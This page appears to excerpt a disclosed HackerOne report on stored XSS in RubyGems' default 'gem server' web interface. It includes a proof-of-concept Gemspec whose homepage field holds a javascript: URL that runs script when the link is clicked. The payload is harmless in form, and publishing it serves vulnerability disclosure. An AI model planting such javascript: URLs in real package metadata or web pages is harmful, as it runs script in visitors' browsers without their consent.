[gem server] Stored XSS via crafted JavaScript URL inclusion in Gemspec
该报告还没有中文解读。
原文摘录
摘自原文(1590 字符中的一小部分)
A JavaScript URL injection in the `homepage` field within a Gemspec file can be leveraged to achieve stored XSS on the default `gem server` web interface, referenced [here](http://guides.rubygems.org/run-your-own-gem-server/).
原文中的代码
Gem::Specification.new do |s|
s.name = 'securitytest'
s.version = '0.1.0'
s.date = '2017-11-10'
s.summary = "This is a proof-of-concept gem"
s.description = "Select the WWW hyperlink."
s.authors = ["Author Name"]
s.homepage = 'javascript:confirm(document.domain)'
end默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 RubyGems 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ysx · 版权归作者与 RubyGems 所有